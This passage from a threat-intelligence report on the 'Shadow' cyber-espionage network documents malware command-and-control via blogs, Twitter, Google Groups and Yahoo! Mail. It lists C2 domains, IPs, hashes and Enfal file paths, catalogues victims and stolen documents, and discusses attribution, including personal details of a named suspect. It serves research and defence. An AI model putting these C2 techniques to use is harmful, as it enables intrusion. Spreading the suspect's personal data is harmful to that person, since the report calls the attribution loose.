http://groups.google.com/group/tagyalten/feed/rss_v2_0_msgs.xml C2 (cmd) Stage 2: http://www.c2etejs.com/kk/all.php Date 2009-08-20 Filename China_should_break_up_India.doc File Type Target Microsoft Word 2003 17a26441eb2be5efb8344e53cbd7d499 C2 (initial) Stage 1: http://hiok125.blog.com C2 (cmd) Stage 2: http://www.erneex.com/boboshell/all.php 3.2.3 Malicious Binaries found on Command and Controls During our investigation we were able to acquire twenty-seven malicious binaries used by the attackers. While many of them contain functionality similar to the malicious payload of the document types enumerated above as well as common command and control server locations there were several binaries whose functionality differed significantly. We discovered that two of the binaries were using Yahoo! Mail accounts as an element of command and control. More specifically, in addition to checking in with the Yahoo! Mail accounts, new malicious binaries were pushed to the compromised computers from the email account. JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD Table 3: Malware Connecting to Yahoo! Mail Accounts Filename setup.exe 7e2e37c78bc594342e498d6299c19158 sonamtenphel@yahoo.com www.indexindian.com Download sites.google.com/site/wwwfox99/Home/ Filename 20090930165916978 abef3f0396688bfca790f8bbedac3e0d zhengwai@yahoo.com Although the second binary failed to connect to a web-based command and control server, a memory dump revealed three additional email adresses (wwwfoxperter@yahoo.com, swwwfox@yahoo.in and ctliliwoy5@ yahoo.com) as well as the well known domain name www.indexindian.com and the URL of another malicious binary hosted on sites.google.com/site/wwwfox99/. This malware sample connected to a command and control server and downloaded additional components (docBack.gif, nscthttp.gif, top.gif, tor.gif) that allowed it to connect to the Tor anonymity network. The reason behind the attackers integration of Tor into their malware remains unclear. Table 4: Malware with Tor Filename 20091221165850243 2ca46bcdfda08adc94ab41d3ed049ab6 cxingpeng.byethost9.com Tor (www.torproject.org) is an anonymity system that defends users from traffic analysis attacks in which attackers attempt to monitor users online behaviour. Tor is used by journalists, human rights advocates, and those in locations that are subject to Internet censorship. It is also used by law enforcement and many others who require anonymity. In 2007, a computer security researcher, Dan Egerstad collected data and email login credentials for a variety of embassies around the world by monitoring the traffic exiting from Tor exit nodes, an anonymous communications network. He was able to obtain user names and passwords for a variety of email accounts, and recovered data associated with the Dalai Lama s office as well as India s Defence Research and Development Organization (Zetter 2007a). Tor does not automatically encrypt everything that a user does online. Unless the end-point of a connection is encrypted, the data passing through an exit node in the Tor network will be in plain text. Since anyone can operate a Tor exit node, it is possible for a malicious user to intercept the plain text communications passing through it. However, Egerstad believes that the entities whose credentials and data he was able to collect were not using Tor themselves. Rather, he concluded that attackers may have been using the Tor network as a mechanism to exfiltrate data: The embassy employees were likely not using Tor nor even knew what Tor was. Instead, we suspected that the traffic he sniffed belonged to someone who had hacked the accounts and was eavesdropping on them via the Tor network. As the hacked data passed through Egerstad s Tor exit nodes, he was able to read it as well (Zetter 2007b). JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD Table 5: Enfal Filename 20090924152410520 9f0b3d0672425081cb7a988691535cbf www.indexnews.org On one of the command and control severs, we also discovered that the attackers were using Enfal, a well known Trojan. The malware connected to www.indexnews.org and requested the following file paths: /cgi-bin/ Owpq4.cgi and /httpdocs/mm/[HOSTNAME]_20090610/Cmwhite. We explore the broader connections and significance of use of Enfal in section 3.3.1 below. Command and Control Infrastructure Figure 3: The Shadow Network s Command and Control Infrastructure This Palantir screen capture demonstrates the integration of social networking and blogging platforms (green), domain names (blue) and web servers (red). JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD The attackers command and control infrastructure consists of three interrelated components. The first component consists of intermediaries that simply contain links, which can be updated, to command and control servers. During our investigation we found that such intermediaries included Twitter, Google Groups, Blogspot, Baidu Blogs, and blog.com. The attackers also used Yahoo! Mail accounts as a command and control component in order to send new malicious binaries to compromised computers. On at least one occasion the attackers also used Google Pages to host malware. To be clear, the attackers were misusing these systems, not exploiting any vulnerability in these platforms. In total, we found three Twitter accounts, five Yahoo! Mail accounts, twelve Google Groups, eight Blogspot blogs, nine Baidu blogs, one Google Sites and sixteen blogs on blog.com that were being used as part of the attacker s infrastructure. The attackers simply created accounts on these services and used them as a mechanism to update compromised computers with new command and control server information. Even a vigilant network administrator looking for rogue connections exiting the network may overlook such connections as they are routine and generally considered to be safe web sites. The use of social networking platforms, blogs and other services offered by trusted companies allows the attackers to maintain control of compromised computers even if direct connections to the command and control servers are blocked at the firewall level. The compromised computers can simply be updated through these unblocked intermediaries to point to a new, as yet unknown, control server. Such techniques are not new per se, and nothing in and of itself was invented by the Shadow attackers that had not been done before (See Box 3). Rather, the attackers are learning from the experiences of others and adapting the techniques to meet their needs. By using these kind of intermediaries and platforms, the attackers are able to conceal their activities and maintain a resilient command and control infrastructure. In the Shadow case, the attackers did not rely on only one social networking, cloud computing or Web 2.0 service, but rather used a variety of such services in combination with one another. Box 3: Social Network Sites as Control Channels for Malware Networks The use of social networking sites as elements of command and control for malware networks is not novel. The attackers leverage the normal operation of these systems in order to maintain control over compromised system. In 2009, researchers found that Twitter, Jaiku, Tumblr, Google Groups, Google AppEngine and Facebook had all been used as the command and control structure for malware. In August 2009, Arbor Networks Jose Nazario found that Twitter was being used as a command and control component for a malware network. In this case, the malware was an information stealer focused on extracting banking credentials from compromised computers located mostly in Brazil. Twitter was not the only channel being used by the attackers. They also used accounts on Jaiku and Tumblr (Nazario 2009a). Furthermore, Arbor Networks found another instance of malware that used the Google AppEngine to deliver malicious URLs to compromised computers (Nazario 2009b). The Unmask Parasites blog found that obfuscated scripts embedded in compromised web sites used the Twitter API to obscure their activities. While the method was clever, the code was unreliable and appeared to have been abandoned by the attackers (Unmask Parasites 2009). Symantec found that Google Groups were being used as command and control for another instance of malware. In this case, a private Google group was used by the attackers to send commands to compromised computers which then uploaded their responses to the same Group (Symantec 2009a) Symantec also found an instance of malware that used Facebook status messages as a mechanism of command and control. (Symantec 2009b). The use of these social networking and Web 2.0 tools allows the attackers to leverage the normal operation of these tools to obscure the command and control functions of malware. One platform leveraged by the attackers in particularly interesting ways was the webmail service provided by Yahoo!. We discovered five Yahoo! Mail accounts being used by the attackers as a component of command and control. Once a computer was compromised, the malware connected to the Yahoo! Mail accounts using Yahoo API and created a unique folder in the Inbox of the mail account, into which an email was inserted containing the computer s name, operating system and IP address. The attacker would then send an email to the account containing a command or a command along with additional malware as an attachment. The next time that a JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD compromised computer checks in with the email account, it then downloads and executes the malicious attachment. Upon execution, the compromised computer placed an acknowledgement mail in the Yahoo! Mail Inbox. The email addresses used by the attackers were: zhengwai@yahoo.com wwwfoxperter@yahoo.com swwwfox@yahoo.in ctliliwoy5@yahoo.com sonamtenphel@yahoo.com The attackers used these Yahoo! Mail accounts as command and control in conjunction with traditional mechanisms, such as HTTP connections to web servers. Therefore, even if the traditional web-based command and control channels were shut down the attacker could retain control using the Yahoo! Mail mechanism. Moreover, the web-based component of command and control was also resilient. We found that command and control servers were being operated on free hosting sites and on free domain providers such co.tv and net.ru. We found command and control servers on the following free web hosting providers: byethost9.com 6te.net justfree.com sqweebs.com yourfreehosting.net kilu.de 5gighost.com hostaim.com 5webs.net 55fast.com surge8.com In addition we found servers on free domains provided by co.tv and net.ru. All of the IP addresses to which the sub-domains of these control servers resolve are in the United States, with the exception of one that is hosted in Germany. The command and control servers on free hosting are: changemore.hostaim.com choesang.5gighost.com freegate.kilu.de freesp.6te.net hardso.yourfreehosting.net scjoinsign.sqweebs.com tshkung01.justfree.com www.99fm.co.tv www.j5yr.co.tv zcagua.6te.net cxingpeng.byethost9.com lobsang.net.ru freesp.55fast.com JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD iloveusy.justfree.com zenob.surge8.com bigmouse.5webs.net As some of the free hosting accounts became unavailable, the attacker s modified blog posts on the intermediaries to point to new command and control servers, most often to servers that appear to be the core of the network. The core command and control servers reside on domain names that appear to be registered by the attackers themselves and on dedicated servers. These control servers are: c2etejs.com erneex.com idefesvn.com jdusnemsaz.com peose.com indexnews.org lookbytheway.net microsoftnews.net tibetcommunication.com intoplink.com indexindian.com All of these domain names are hosted in the PRC. The first group of domain names (c2etejs.com, erneex.com, idefesvn.com, jdusnemsaz.com, peose.com) were all hosted on the same IP address 119.84.4.43 but moved to another IP address 210.51.7.155 which is associated with the more well known domain names indexindian.com and tibetcommunication.com. The domains indexnews.org and lookbytheway.net are on 61.188.87.27, microsoftnews.net is on 61.188.87.79, and intoplink.com is on 60.160.182.113. The domains indexindian.com, indexnews.org and lookbytheway.net are well known malware domain names associated with more than one instance of malware. 3.3.1 Malware Connections: Enfal One of our objectives in this report was to explore the broader ecosystem of malware. While analysis of individual attacks may yield interesting data, a broader understanding of connections between malware networks allows us to better understand the methods, targets and capabilities of the attackers. Based on the malware tools and command and control infrastructure collected as part of the Shadows in the Cloud investigation we were able to draw connections between the Shadow network and at least two other, possibly affiliated, malware networks. When grouping malware networks together we interpret relationships between the command and control infrastructures, characteristics of the malware, attack vectors and exploits used, and any identifying information left behind by the attackers. This allows us to track the activities of similar yet distinct groups of attackers over time. More importantly, this historical perspective allows us to apply a granular level of analysis when investigating attacks, rather than simply grouping attackers and malware together by the country of origin. When grouping malware we focus on: IP address relationships - the historical relationship between command and control domains that resolve to same IP addresses over time. JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD Malware connection relationships - malware found on one command and control server that connects to a different command and control server. Malware file path relationships - the presence of distinctive file paths on multiple command and control servers. There are limitations to this approach. For example, multiple attackers could operate on a common infrastructure, perhaps supplied by a group that specialises in malicious hosting or selling registered domain names to be used as command and control servers. Different groups of attackers could use the same, or very similar, malware. However, when the malware is not publicly available or for sale, its use remains limited. During the Shadow investigation we found the Enfal trojan among the instances of malware used by the attackers. The Enfal trojan is not widely available and appears to be in use by affiliated malware networks that sometimes share a common command and control infrastructure. In fact, domain names that have been used as Enfal command and control servers by separate, but possibly affiliated, attackers assam2008.net, msnxy.net, sysroots.net, womanld.com, womannana.com, lookbyturns. com, macfeeresponse.com and macfeeresponse.org have now been incorporated into our sinkhole project. This allows us to observe compromised computers that are still checking in with the command and control servers as well as the file paths being requested. In some cases, we can obtain the names of documents located on the compromised computers. These domain names are associated with Enfal and can also be linked to the active command and control servers in the Shadow network through common command and control server IP addresses. Another group of attackers that also used the Enfal trojan were documented in 2008 by Maarten Van Horenbeeck. He published information concerning his investigation into the targeted malware attacks which included the use of the Enfal Trojan dating back to 2007. Van Horenbeeck systematically documented a series of targeted attacks and clearly articulated the methodology of the attackers, one of which is now commonplace. The attackers leverage social engineering tactics to entice the target into clicking on a malicious link or email attachment. The malware then exploits a vulnerability in the user s client side software, such as a browser, Microsoft Word, Adobe Reader and so on, and begins communicating with a command and control server. Enfal is recognisable due to the consistent filenames the malware requests from the command and control server, most notably /cgi-bin/owpq4.cgi . Van Horenbeeck identified domain names used by Enfal, *.bluewinnt. com and *.ggsddup.com, which are still in use today (Van Horenbeeck 2008a; Van Horenbeeck 2008b; Van Horenbeeck 2007). While we were unable to find any instances of common command and control infrastructure between the Enfal network that Van Horenbeeck documented, the methods and tools of these attackers and the Shadow network are very similar. The common use of the Enfal Trojan suggests that the attackers may be exchanging tools and techniques. The profile of the victims from two separate Enfal-based networks in our DNS sinkhole suggest that the attackers have an interest in compromising similar sets of targets. Finally, the failed DNS resolution for www.assam2008.net found on a computer at the OHHDL also compromised by the Shadow network indicates a possibly closer connection, or that they at least have both common tools and target sets. PART 4: Targets and Effects JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS Compromised Victims: The Evidence Mistakes on the part of the attackers allowed us to view the attackers list of victims at four command and control locations. In addition, we were able to recover exfiltrated data from two locations. This provided us with a snapshot of the computers that have been compromised by the attacks. Thus, this is not a complete list of all those compromised by this attacker. Rather, it is simply those checking in with or uploading data to the portions of the network that we were able to view. Moreover, there was considerable overlap between different methods of command and control, with individual computers checking in at multiple locations. Therefore, we do not have consistent data across all compromised computers. There are two categories of victims: those for whom we only have technical identifying information, such as IP addresses; and those from whom we have recovered exfiltrated data but for whom we do not have IP addresses. In cases where we do not have IP addresses, the identity of the victim is determined from the contextual information found within the exfiltrated data itself. We obtained information on victims from: a web-based interface that lists cursory information on compromised computers located on one command and control server; text files in web-accessible directories on three command and control servers that list detailed information on compromised computers; information obtained from email accounts used for command and control of compromised computers information obtained from one command and control server from which we retrieved exfiltrated documents (but not necessarily technical identifying information); information obtained from our DNS sinkhole. The primary method of identification used in this section is based upon the IP address of the compromised computer. We looked up the associated IP address in all five Regional Internet Registries (RiR) in order to identify the country and network to which the IP address is assigned. We then performed a reverse Domain Name System (DNS) look-up on each IP address. DNS is the system that translates domain names into IP addresses; reverse DNS is a system that translates an IP address into a domain name. This can potentially provide additional information about the entity that has been assigned a particular IP address. If we discovered a domain name, we then looked up its registration in WHOIS, which is a public database of all domain name registrations and provides information about who registered the domain name. It was possible to identify the geographic location of the compromised computer at the country level as well as the network to which the IP address was assigned. However, in most cases there was little information in the RiRs pertaining to the exact identity of the compromised entity. Where possible, we note the entity identified by data obtained from the RiRs. The following list of compromised computers was generated by parsing information from unique victims, not solely IP addresses. The attackers assign the compromised computer a name based on the host name of the computer, which allows us to identify unique victims rather than relying only on IP addresses. In fact, several of the unique victims have multiple IP addresses associated with them, sometimes spanning multiple countries. Here we have generated a geographic breakdown based on the first IP addresses recorded for each compromised computer. JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS Figure 4: Locations of Compromised Computers in the Shadow Network While there is considerable geographic diversity, there is a high concentration of compromised computers located in India. However, we were only able to identify two of the compromised entities: Embassy of India, United States Embassy of Pakistan, United States 4.1.1 Sinkhole A DNS sinkhole server is a system that is designed to take requests from a botnet or infected systems and record the incoming information. The sinkhole server is not under the control of the malware authors and can be used to gain an understanding of a botnet s operation. There are a few different techiques that are used to sinkhole botnet traffic. The easiest method is to simply register an expired domain that was previously used to control victim systems. Being able to do this generally indicates the botnet operator has lost control of the domain, forgotten to renew it, or that the botnet has been abandoned. Another method focuses on reverse-engineering the malware to determine if it has fail over command and control servers or special methods to compute future domains. This may require that a domain name generation algorithm be discovered and that one must register the domain names before the attacker does (Stone-Gross et al. 2009). During the GhostNet investigation we found that a computer at the OHHDL was compromised by both the GhostNet and what we are now calling the Shadow network. We had a list of serveral domains that were expiring that we had linked to attacks against OHHDL. We were able to register several of these domain names in order to gather information about the network s command and control infrastructure, communication methods, JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS and victim systems. We were able to register and monitor four of the domain names mentioned in Tracking GhostNet. In addition, we were able to register several others which we linked to the Shadow network along with one, www.assam2008.net, which we believe to be yet another separate, but possibly affiliated, network. www.assam2008.net www.msnxy.net www.sysroots.net www.womanld.com www.womannana.com www.lookbyturns.com www.macfeeresponse.com www.macfeeresponse.org We were able to observe the file paths associated with malware that were requested by compromised computers. In total, we found that during this period 6,902 unique IPs requested paths associated with the malware that used these hosts as command and control servers. However, counting the number of infected hosts purely by IP addresses is problematic. In fact, botnets are generally much smaller than the total sum of unique IP addresses would suggest (Stone-Gross et al. 2009; Rajab et al. 2007). This network, which is focused on stealing documents from specific targets, is expected to be small in size. Figure 5: Relationship between the DNS Sinkhole and Live Command and Control Servers This Palantir screen shot captures the relationship between the domain names in our sinkhole (green), the web servers they were formerly hosted on (red) and the Shadow network s active domain names (blue). JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS What is more notable is the distribution of compromised computers across countries. Figure 6: Locations of Compromised Computers in our Sinkhole From the recovered IP addresses we were able to identify the following entities of interest: Honeywell, United States New York University, United States University of Western Ontario, Canada High Commission of India, United Kingdom Vytautas Magnus University, Lithuania Kaunas University of Technology, Lithuania National Informatics Centre, India New Delhi Railway station (*railnet.gov.in), India Times of India, India Petro IT, (reserved123.petroitg.com), India Federation of Indian Chambers of Commerce and Industry, India Commission for Science and Technology for Sustainable Development in the South, Pakistan JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS Victim Analysis on the Basis of Recovered Documents In total we recovered data from 44 compromised computers. The documents recovered from the OHHDL were reconstructed from captured network traffic, while the remainder were retrieved from an open directory on one command and control server. Only seven of the remaining 43 compromised computers (not counting the OHHDL computer) for which we were able to recover exfiltrated data also checked in with the same control server. Therefore we can only identify the IP addresses of these seven computers. Five of these seven computers have IP addresses that are assigned to India, while the remaining two are assigned to Thailand and the PRC. As noted below, the Chinese IP address represents the attacks on IP addresses along with two test (junk) text files that appear to have been used for testing the malware. We determined the country and entity from which the documents were exfiltrated based on the content of the documents themselves in cases where we did not obtain an IP address. In addition, we assigned two country codes to the compromised computers: one country code indicates the physical (IP) country in which the computer is located, and the second country code indicates the country of ownership. Thus a compromised computer at a foreign embassy would be assigned a country code based on its geographical region, and a second based on the home country to which the foreign mission belongs. Based on geographic location, the vast majority are in India. Figure 7: Locations of Compromised Computers from which Documents were Exfiltrated JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS Based on the country of ownership, the results show an even higher number for India. Figure 8: Locations of Ownership of Exfiltrated Documents JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS Geographic Victim Distribution Figure 9: Geographic distribution of compromised hosts This screen capture of Palantir s heatmap application demonstrates the concentrations of (non-unique) IP addresses of compromised hosts. The largest concentration (red) is in India. 4.3.1 Targets Diplomatic Missions and Government Entities Diplomatic missions and government entities exchange sensitive information, which sometimes finds its way onto unclassified systems. During our investigation, we recovered documents that are extremely sensitive from a national security perspective as well as documents that contain sensitive information that could be exploited by an adversary for intelligence purposes. We recovered one document that appears to be an encrypted diplomatic correspondence, two documents classified as SECRET , six as RESTRICTED , and five CONFIDENTIAL . These documents contain sensitive information taken from a member of the National Security Council Secretariat concerning secret assessments of India s security situation in the states of Assam, Manipur, Nagaland and Tripura, as well as concerning the Naxalites and Maoists. In addition, they contain confidential information taken from Indian embassies regarding India s international relations with and assessments of activities in West Africa, Russia/Commonwealth of Independent States and the Middle East, as well as visa applications, passport office circulars and diplomatic correspondence. The attackers also exfiltrated detailed JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS personal information regarding a member of the Directorate General of Military Intelligence. These compromises and the character of the data exfiltrated extends to non-governmental targets as well. Some of the academics and journalists that were compromised were interested in and regularly reporting on sensitive topics such as Jammu and Kashmir. National Security and Defence During our investigations we suspected that a variety of military computers had been compromised as well as the computers of defence-oriented academics and journals. While none of the information obtained was classified, the documents we recovered reveal information regarding sensitive topics. Although there is public information available on these miltary projects, it indicates that the attackers managed to compromise the right set of individuals that may have knowledge of these systems that is not publicly known. We recovered documents and presentations relating to the following projects: Pechora Missile System - an anti-aircraft surface-to-air missile system. Iron Dome Missile System - a mobile missile defence system (Ratzlav-Katz 2010). Project Shakti - an artillery combat command and control system (Frontier India 2009). We also found that documents relating to network centricity (SP s Land Forces 2008) and network-centric warfare had been exfiltrated, along with documents detailing plans for intelligence fusion and technologies for monitoring and analysing network data (Defence Research and Development Organisation 2009). Academics/Journalists focused on the PRC During our investigations we found that a variety of academic targets had been compromised, including those at the Institute for Defence Studies and Analyses (IDSA) as well as journalists at India Strategic defence magazine and FORCE magazine. The exfiltrated papers included those discussing the containment of the PRC, Chinese military exports, and Chinese foreign policy on Taiwan and Sino-Indian relations. More specifically, there were documents that focused on ethnicity, religion and politics in Central Asia, and the links between armed groups and the PRC. Although the academic papers exfiltrated by the attackers are publicly available, the content of the material indicates that the attackers managed to compromise those with a keen interest in the PRC. 4.3.2 Affected Institutions During our investigations we found that a variety of personal information belonging to individuals had been compromised. This included various lists of contacts along with their personal details that could be used by the attackers. It also included information about travel, including air and rail tickets, receipts, invoices and other billing information. In addition we found personal banking information, scans of identification documents, job (and other) applications, legal documents and information about ongoing court cases. The attackers also exfiltrated personal email communications. All of this information can be leveraged for future attacks, especially attacks against those within the compromised individual s social network. National Security Council Secretariat, India The National Security Council Secretariat (NSCS) of India is comprised of the Joint Intelligence Committee and is a component of the National Security Council established in 1998 along with a Strategic Policy Group and an Advisory Board. The National Security Council is headed by the Prime Minister of India and is responsible for strategic planning in the area of national security (Subrahmanyam 2010; Indian Embassy 1998). We assess that a computer at the NSCS was compromised based on the documents exfiltrated by the attackers. During the period in which we monitored the attackers, fourteen documents, including two documents marked SECRET, were exfiltrated. In addition to documents containing the personal and financial JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS information of what appears to be the compromised individual, the exfiltrated documents focus on India security situation in the states of Assam, Manipur, Nagaland and Tripura as well as the Naxalites, Maoists, and what is referred to as left wing extremism. Diplomatic Missions, India India maintains numerous diplomatic missions abroad that provide consular services relating to passports and visas as well as faciltaing trade, commerce and engaging in diplomatic relations (Indian government 2010). We assess that computers at the Embassy of India, Kabul, the Embassy of India, Moscow, the Consulate General of India, Dubai, and the High Commission of India in Abuja, Nigeria were compromised based on the documents exfiltrated by the attackers. During the period in which we monitored the attackers, 99 documents, including what appears to be one encrypted diplomatic correspondence as well as five documents marked RESTRICTED and four documents marked CONFIDENTIAL, were exfiltrated. In addition to documents containing personal, financial, and travel information on embassy and diplomatic staff, the exfiltrated documents included numerous visa applications, passport office circulars, and country assessments and reports. Confidential visa applications from citizens of Afghanistan, Australia, Canada, the PRC, Croatia, Denmark, Germany, India, Ireland, Italy, New Zealand, Philippines, Senegal, Switzerland, Uganda, and the United Kingdom were among the exfiltrated documents. Military Engineer Services, India The Military Engineer Services (MES) is a government construction agency that provides services to the Indian Army, Navy and Air Force. In addition, the MES services the government sector and civil works projects. We assess that computers at the MES-Bengdubi, MES-Kolkata, MES(AF)-Bangalore, and MES-Jalandhar were compromised based on the documents exfiltrated by the attackers. During the period in which we monitored the attackers, 78 documents were exfiltrated. While these documents included manuals and forms that would not be considered sensitive, they also included documents that contained private information on personnel, and documents and presentations concerning the financing and scheduling of specific engineering projects. Military Personnel, India We assess that computers linked with the 21 Mountain Artillery Brigade in the state of Assam, the Air Force Station, Race Course, New Delhi and the Air Force Station, Darjipura Vadodara, Gujarat were compromised based on the documents exfiltrated by the attackers. During the period in which we monitored the attackers, sixteen documents were exfiltrated. One document contained personal information on Saikorian alumni of the Sainik School, Korukonda, which prepares students for entry into the National Defence Academy. One document is a detailed briefing on a live fire exercise while others pertain to surface-to-air missile systems and moving target indicators. Military Educational Institutions, India We assess that computers at the Army Institute of Technology in Pune, Maharashtra and the Military College of Electronics and Mechanical Engineering in Secunderabad, Andhra Pradesh were compromised based on the documents exfiltrated by the attackers. During the period in which we monitored the attackers, twentyone documents, including one marked RESTRICTED , were exfiltrated. There are documents and presentations detailing the finances of one of the institutions as well as personal and private information on students and their travel. There is also a document that describes Project Shakti, the Indian Army s command and control system for artillery (India Defence 2007). Institute for Defence Studies and Analyses, India We assess that computers at the Institute for Defence Studies and Analyses (IDSA) were compromised based on the documents exfiltrated by the attackers. During the period in which we monitored the attackers, 187 documents were exfiltrated. While many of the documents were published papers from a variety of academic sources, there were internal documents, such as an overview of the IDSA research agenda, minutes of JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS meetings for the Journal of Defence Studies, budgets and information on a variety of speakers, visitors, and conference participants. Defence-oriented publications, India We assess that computers at the India Strategic defence magazine and FORCE magazine were compromised based on the documents exfiltrated by the attackers. During the period in which we monitored the attackers, 58 documents were exfiltrated. While these documents include publicly accessible articles and previous drafts of those articles, there is also private information regarding the contact details of subscribers and conference participants. The documents also include interviews, documents, and PowerPoint presentations from conferences that detail national security topics, such as network data and monitoring for national security, and responses to combat cyber threats. Corporations, India We assess that computers at YKK India Private Limited, DLF Limited, and TATA were compromised based on the documents exfiltrated by the attackers. During the period in which we monitored the attackers, five documents were exfiltrated. These documents include rules overseeing busiiness travel, a presentation on roadmap and financial status, and an annual plan for a business partnership. Maritime, India We assess that computers at the National Maritime Foundation and the Gujarat Chemical Port Terminal Company Limited were compromised based on the documents exfiltrated by the attackers. During the period in which we monitored the attackers, 53 documents were exfiltrated. These documents include a summary of a seminar as well as numerous documents relating to specific shipping schedules, financial matters and personal medical information. United Nations The United Nations Economic and Social Commission for Asia and the Pacific (UNESCAP) is based in Thailand and facilitates development in the Asia-Pacific region. We assess that a computer at UNESCAP has been compromised based on the documents exfiltrated by the attackers. In addition to information concerning a variety of conferences and presentations, there were also internal Mission Report documents regarding travel and events in the region. PART 5: Tackling Cyber Espionage JR03-2010 Shadows in the Cloud - PART 5: TACKLING CYBER ESPIONAGE 5.1 Attribution and Cyber Crime / Cyber Espionage During this investigation we collected malware samples used by the attackers, which were primarily PDFs that exploited vulnerabilities in Adobe Acrobat and Adobe Reader. In addition, we collected malware used by the attackers after successfully compromising a targeted system as well as network traffic captured from the OHHDL. We were able to map out the command and control infrastructure of the attackers and in several cases view data that allowed us to identify targets that had been compromised and recover exfiltrated documents. We did not have access to data regarding specific attacks on any of the targets we have identified. In other words, we cannot definitely tell how any one individual target was compromised. And, more importantly, we do not have data regarding the behaviour of the attackers once inside the target s network. However, we do have two key pieces of information: the first is an email address used in a document in the attackers possession that provided steps on how the attackers could use Yahoo! Mail as a command and control server; the second is the IP addresses used by the attackers to send emails from Yahoo! Mail accounts used as command and control servers. Email addresses used by the attackers have proven to provide critical clues in past investigations. Following the release of the GhostNet investigation, The Dark Visitor a blog that researches Chinese hacking activities investigated one of the email addresses we published that was used to register the domain names the attackers utilized as command and control servers. While these were not GhostNet domain names, one of them is the same as one used by the attackers in this investigation: lookbytheway.net (Henderson 2009a). The email address used to register lookbytheway.net is losttemp33@hotmail.com. The Dark Visitor found forum posts made by losttemp33@hotmail.com, who also used the alias lost33. Further searching revealed individual who was associated with Xfocus, Isbase, two popular Chinese hacking forums, and seems to have studied under Glacier (Henderson 2009b). Glacier is known as Godfather of the Chinese Trojan (Henderson 2007a), and an association with him indicates lost33 s connections to the hacking underground in the PRC. Using information found on lost33 s blog, The Dark Visitor was able to find another blog used by lost33, now operating under the alias damnfootman , and had a text chat conversation with him on the Chinese instant messenger service QQ, where the individual admitted to being the owner of the email address losttemp33@hotmail.com. From this information, The Dark Visitor was able to determine this individual has connections to the forums of Xfocus and Isbase (the Green Army), NSfocus and Eviloctal, as well as connections to the hackers Glacier and Sunwear. He was born on July 24, 1982, lives in Chengdu, Sichuan, and attended the University of Electronic Science and Technology of China, which is also located in Chengdu. Our investigation also indicated strong links to Chengdu, Sichuan. The attacker used Yahoo! Mail accounts as command and control servers, from which the attacker sent emails containing new malware to the already compromised targets. All of the IP addresses the attacker used when sending these emails are located in Chengdu, Sichuan. We were able to retrieve a document from the attackers that indicated the steps neccessary to use Yahoo! Mail accounts as command and control servers. There was also an account used by the attackers in this document for testing purposes. Searches for this email address returned several advertisements for apartment rentals in Chengdu, Sichuan. JR03-2010 Shadows in the Cloud - PART 5: TACKLING CYBER ESPIONAGE The infrastructure of this particular network is tied to individuals in Chengdu, Sichuan. At least one of these individuals has ties to the underground hacking community in the PRC and to the University of Electronic Science and Technology of China in Chengdu. Interestingly, when the Honker Union of China, one of the largest hacking groups in the PRC, was re-established in 2005, its new leader was a student at the University of Electronic Science and Technology in Chengdu. Chengdu is also the location of one of the People s Liberation Army (PLA) s technical reconnaissance bureaus tasked with signals intelligence collection. While it would be disingenuous to ignore these correlations entirely, they are loose at best and certainly do not meet the requirements of determining motivation and attribution. However, the links between the command and control infrastructure and individuals in the PRC provide a variety of scenarios that point toward attribution. 5.1.2 Patriotic Hacking The PRC has a vibrant hacker community that has been tied to targeted attacks in the past, and has been linked through informal channels to elements of the Chinese state, although the nature and extent of the connections remains unclear. One common theme regarding attribution relating to attacks emerging from the PRC concerns variations of a privateering model, in which the state authorizes private persons to perform attacks against enemies of the state. This model emerged because studies have shown that there is no direct government control over the loosely connected groups of hackers in the PRC (Henderson 2007b). Even within the privateering approach there is much dispute regarding the exact relationship. The degrees of the reported relationship vary between authorize to tacit consent to tolerate (Henderson 2007b). However, this ambiguous relationship does not mean that there is no connection between the activities of Chinese hackers and the state. The PRC s intelligence collection is based on the gathering of bits of information across a broad range of sources: China relies on a broad informal network of students, tourists, teachers, and foreign workers inside of host nations to collect small bits of information to form a composite picture of the environment. Rather than set a targeted goal for collection, they instead rely on sheer weight of information to form a clear understanding of the situation. (Henderson 2007b) As a result, information that is independently obtained by the Chinese hacker community is likely to find its way to elements within the Chinese state. However, the Chinese state is not monolithic. It is a complex entity that includes cooperation and competition amoung a variety of entities, including the Communist Party, the PLA and the Government of China. In addition, within each of those entities there are factions and rivalries. Further complicating matters is that there are reported relationships between the edges of the government and networks of organized crime in the PRC, as in many other countries (Bakken 2005; Keith and Lin 2005). These complex relationships further complicate our understanding of the connections between the Chinese hacker community and the Chinese state. While the PLA is developing computer network operations (CNO), as are the armed forces of a wide variety of countries, its relationship with the hacker community appears to be minimal, as a recent study reports: Little evidence exists in open sources to establish firm ties between the PLA and China s hacker community, however, research did uncover limited cases of apparent collaboration between more elite individual hackers and the PRC s civilian security services. The caveat to this is that amplifying details are extremely limited and these relationships are difficult to corroborate. (Northrop Grumman 2009) JR03-2010 Shadows in the Cloud - PART 5: TACKLING CYBER ESPIONAGE Moreover, the same study found that there is nothing that suggests that the PLA or state security bureaus intend to use hacktivist attacks as a component of a CNO campaign (Northrop Grumman 2009). In addition, there are a variety of factors, such as the lack of command and control, precision targeting and the inability to maintain surprise and deception, that argue against the use of non-state hackers as part of the PLA s CNO strategy. In fact, the relations between the hacker community and the state is more likely to be a concern of the Ministry of Public Security (Northrop Grumman 2009; Henderson 2007b). Interestingly, the Ministry of Public Security has focused primarily on internal security matters, which links with the emphasis on the Tibet-related targets documented in this report. (the PRC views Tibet as an internal problem.) 5.2.2 Cyber Crime The activity of cyber criminals in the PRC parallels the activities of cyber criminals around the globe. The Chinese hacker community has been known to engage in criminal activities, primarily motivated by profit. Acting independently of state 